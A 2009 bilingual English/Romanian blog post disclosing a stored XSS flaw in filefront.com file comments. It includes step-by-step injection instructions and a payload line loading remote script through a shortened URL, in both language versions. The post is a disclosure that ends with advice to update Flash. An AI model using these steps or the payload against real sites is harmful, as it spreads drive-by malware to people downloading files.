filefront.com, permanent XSS + virus propagat prin el |

Loading....

filefront.com, permanent XSS + virus propagat prin el

Posted by Shocker in English News

Posted on January 28th, 2009

Acest articol este scris atat in limba engleza cat si in limba romana.

I found a way to include a permanent XSS in a comment to the files uploaded on filesharing site filefront.com. Permanent XSS can do more damage then you might think. This XSS allows javascript into comments and then can be executed when the user downloads the file.

I wanted to download a file from fliefront.com and right when I entered the download page the antivirus warned me of a file orz.exe. I was asked if to run that file or not. I clicked “no” and i looked for it. It was in my Temp folder. I analised that web page and I noticed that there was a particular comment that had a javascript code in it. It forced the web browser to open a flash file (.swf) which was actaully a Flahs Player 9 exploit through which it was downloading and runing an .exe file without the user consent. This is a serious security issue. How to get the XSS: create an account on filefront. Log in, click on Add Blog and you will get a “add blog entry” page. The title is not filtered. This is where you inject teh javascript. The only problem you will encounter is the character limit, 50 that is. Therefore the easiest would be <script src=…, something like: lol<script src=http://tinyurl.com/xxxxxx>&lt/script>
I used tinyurl.com to shorten the number of characters. Do not use the ‘ character at src= ‘ ‘
After you created the blog entry, go to the page where you want to “corrupt” the comments and post something. Edit the post and click on Insert Object and then -> Insert Blog. Select from that list the blog entry you just created, Insert Blog, click on “Edit comment”. Thats all

Proof of concept: http://files.filefront.com/testtxt/1;12934435;/fileinfo.html As I was saying, in my case the .exe started to download because I was using Flash Player 9. It doesn’t matter what browser you are using as long as you have javascript enabled. You can get infected with javascript disabled also if you enter a page that has hidden somewhere in the html code something that can open a .swf My advise is to update to the latest version of Flash Player: http://get.adobe.com/flashplayer/

Romanian version:

Am gasit o metoda prin care sa bag un XSS permanent intr-un comentariu la fisierele uploadate pe cunoscutul site de file-upload filefront.com. Probabil spuneti ca nu poti face mare branza cu un XSS, dar va inselati, mai ales in cazul XSS-urilor permanente.

Prin intermediul acestuia putem posta javascript in comentarii, javascript care va fi executat fara stirea userului care intra sa downloadeze fisierul.

Vroiam sa downloadez un fisier de pe filefront si imediat ce am intrat pe pagina de download antivirusul m-a avertizat ca un fisier orz.exe tocmai a fost lansat si ca pare unsafe, intrebandu-ma daca il las sa se execute. Am dat “no”, am cautat fisierul, era prin Temp. Am analizat pagina respectiva si am vazut ca printre comentarii exista unul mai “suspect” care avea injectat si un cod javascript. Acesta forta browserul sa deschida un fisier flash (.swf) care era defapt un exploit pentru Flash Player 9 prin intermediul caruia downloada si rula un .exe fara stirea utilizatorului, fapt care reprezinta o problema foarte grava de securitate.

XSS-ul se obtine in felul urmator: va faceti un cont pe filefront, va logati, dati in stanga la ADD BLOG si o sa va apara o pagina de “add blog entry”. Titlul este nefiltrat, acolo veti injecta cod javascript. Singura problema e ca exista limita de caractere, 50, deci cel mai usor ar fi cu un <script src=..., ceva de genul: lol<script src=http://tinyurl.com/xxxxxx></script>
Am folosit tinyurl.com pentru un link mai scurt sa ne incadram in limita de 50 caractere. Nu folositi ‘ la src=”
Dupa ce ati creat blog entry-ul, mergeti pe pagina fisierului a carui comentarii vreti sa le “infectati” si postati ceva. Editati postul si dati la Insert Object -> Insert Blog. Selectati din lista aia blog entry-ul creat adineauri, Insert Blog, click pe “Edit comment” si gata.

Proof of concept: http://files.filefront.com/testtxt/1;12934435;/fileinfo.html

Cum ziceam, la mine a ajuns sa se downloadeze .exe-ul din cauza faptului ca aveam Flash Player 9. Nu conteaza browserul. Putea sa fi fost Internet Explorer, FireFox, Opera, etc, daca aveam javascript enabled tot ma “prindea”. Si chiar si cu javascript disabled poti fi infectat, din simplul motiv ca poti intra pe o pagina unde sa fie pe undeva ascunsa o bucata de cod HTML care sa deschida un .swf si tot va infectati.
Va sfatuiesc sa va updatati de urgenta la ultima versiune de flash player (momentan e 10): http://get.adobe.com/flashplayer/